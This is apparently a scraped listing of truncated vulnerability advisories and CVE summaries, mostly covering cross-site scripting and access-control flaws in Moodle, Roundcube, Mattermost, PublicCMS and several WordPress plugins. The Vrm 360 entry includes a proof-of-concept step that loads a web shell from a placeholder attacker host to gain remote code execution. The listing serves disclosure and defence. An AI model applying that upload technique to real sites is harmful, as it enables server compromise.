Form Tools 3.1.1 Cross Site Scripting Vulnerability

Exploit Title: Form Tools Version: 3.1.1 - Reflected XSS Exploit Author: tmrswrr Vendor Homepage: https://formtools.org/ Version: 3.1.1 Tested on: https://www.softaculous.com/demos/FormTools 1 Write after formid your payload :...

UBUNTU-CVE-2023-7152

A vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function pollsetaddfd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The...

PT-2023-8541 · Publiccms · Publiccms

Name of the Vulnerable Software and Affected Versions: PublicCMS version 4.0 Description: The issue exists due to a lack of protection for the web page structure in the Online Preview component of PublicCMS. This allows a remote attacker to conduct cross-site scripting XSS attacks. The...

kkFileView Security Vulnerability

kkFileView is Kaijing Technology kekingcn open source Spring-Boot based on a generic file online preview project . kkFileView v4.3.0 version of a security vulnerability , the vulnerability stems from incorrect access control...

December 4, 2023—KB5032288 (OS Builds 22621.2792 and 22631.2792) Preview

None None...

MGASA-2023-0332 Updated roundcubemail packages fix XSS security vulnerabilities

Updated roundcubemail package fixes security vulnerabilities: Fix cross-site scripting XSS vulnerability in setting Content-Type/ Content-Disposition for attachment preview/download CVE-2023-47272 Fix cross-site scripting XSS vulnerability in handling of SVG in HTML messages. CVE-2023-5631 Some...

November 30, 2023—KB5032278 (OS Build 19045.3758) Preview

None None...

Mattermost Security Bypass Vulnerability

Mattermost is an open source collaboration platform from Mattermost, Inc. in the United States. A security bypass vulnerability exists in Mattermost that stems from an inability to check if the "Allow users to view archived channels" setting is enabled during the permalink preview display, even i...

CVE-2023-43754 Permalink previews displayed for posts in archived channels even if users are disallowed to view archived channels

Mattermost fails to check whether the “Allow users to view archived channels” setting is enabled during permalink previews display, allowing members to view permalink previews of archived channels even if the “Allow users to view archived channels” setting is disabled...

Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE

Description The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode. 1. Host a webserver with a shell named webshell.zip.php 2. As a contributor, add the shortcode: vrm360 canvasname=s1 modelurl=http://ATTACKERHOST/webshell.zip.php aspectratio=1.8...

WP User Frontend < 3.6.9 - Missing Authorization via AJAX actions

Description The WP User Frontend plugin for WordPress is vulnerable to unauthorized functionality use due to a missing capability check on several functions corresponding to AJAX actions in versions up to, and including, 3.6.8. This makes it possible for authenticated attackers, with...

Fedora 38 : roundcubemail (2023-0fd9865145)

The remote Fedora 38 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2023-0fd9865145 advisory. Release 1.6.5 - Fix PHP8 fatal error when parsing a malformed BODYSTRUCTURE 9171 - Fix duplicated Inbox folder on IMAP servers that do not use Inbox...

Moodle Cross-site Scripting vulnerability

The course upload preview contained an XSS risk for users uploading unsafe data...

GHSA-9GQP-3G28-W9XC Moodle Cross-site Scripting vulnerability

The course upload preview contained an XSS risk for users uploading unsafe data...

CVE-2023-5547

The course upload preview contained an XSS risk for users uploading unsafe data...

UBUNTU-CVE-2023-5547

The course upload preview contained an XSS risk for users uploading unsafe data...

CVE-2023-5547

The course upload preview contained an XSS risk for users uploading unsafe data...

CVE-2023-5547

CVE-2023-5547 concerns Moodle: a cross-site scripting (XSS) risk in the course upload preview when users upload unsafe data. The OSV and GitHub advisories explicitly describe the XSS issue. No public details on affected versions, root cause specifics, exploit status, or available patches are prov...

CVE-2023-5547 Moodle: xss risk when previewing data in course upload tool

The course upload preview contained an XSS risk for users uploading unsafe data...

PT-2023-8911 · Moodle +1 · Moodle +1

Name of the Vulnerable Software and Affected Versions: Moodle affected versions not specified Description: The issue is related to an XSS risk in the course upload preview, which can be exploited when users upload unsafe data. This can allow a remote attacker to perform cross-site scripting...